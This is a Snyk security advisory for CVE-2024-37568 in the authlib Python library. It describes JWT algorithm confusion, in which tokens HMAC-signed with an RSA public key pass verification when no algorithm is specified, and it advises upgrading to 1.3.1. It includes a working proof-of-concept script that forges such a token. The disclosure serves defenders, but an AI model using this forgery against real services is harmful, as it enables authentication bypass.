Improper Verification of Cryptographic Signature Affecting authlib package, versions [,1.3.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (25th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-AUTHLIB-7231109
  • published10 Jun 2024
  • disclosed9 Jun 2024
  • creditMillie Solem

Introduced: 9 Jun 2024

CVE-2024-37568  (opens in a new tab)
CWE-347  (opens in a new tab)

How to fix?

Upgrade authlib to version 1.3.1 or higher.

Overview

authlib is a library in building OAuth and OpenID Connect servers.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature which allow HMAC verification with ANY asymmetric public key. If the' algorithm' field is left unspecified, an attacker can manipulate the verification process by exploiting the flexibility in algorithm selection during the jwt.decode call.

PoC


from authlib.jose import jwt
from Crypto.PublicKey import RSA
from Crypto.Hash import HMAC, SHA256
import base64

  # ----- SETUP -----

  # generate an asymmetric RSA keypair
  # !! signing should only be possible with the private key !!
KEY = RSA.generate(2048)

  # PUBLIC KEY, AVAILABLE TO USER
  # CAN BE RECOVERED THROUGH E.G. PUBKEY RECOVERY WITH TWO SIGNATURES:
  # https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures
  # https://github.com/FlorianPicca/JWT-Key-Recovery
PUBKEY = KEY.public_key().export_key(format='PEM')

  # Sanity check
PRIVKEY = KEY.export_key(format='PEM')
token = jwt.encode({"alg": "RS256"}, {"pwned":False}, PRIVKEY)
claims = jwt.decode(token, PUBKEY)
assert not claims["pwned"]

  # ---- CLIENT SIDE -----

  # Without knowing the private key, a valid token can be constructed
  # YIKES!!

b64 = lambda x:base64.urlsafe_b64encode(x).replace(b'=',b'')
payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"pwned":true}')
hasher = HMAC.new(PUBKEY, digestmod=SHA256)
hasher.update(payload)
evil_token = payload + b'.' + b64(hasher.digest())
print("😈",evil_token)

  # ---- SERVER SIDE -----

# verify and decode the token using the public key, as is custom
# algorithm field is left unspecified
# but the library will happily still verify without warning, trusting the user-controlled alg field of the token header
data = jwt.decode(evil_token, PUBKEY)
if data["pwned"]:
    print("VULNERABLE")

CVSS Scores

version 3.1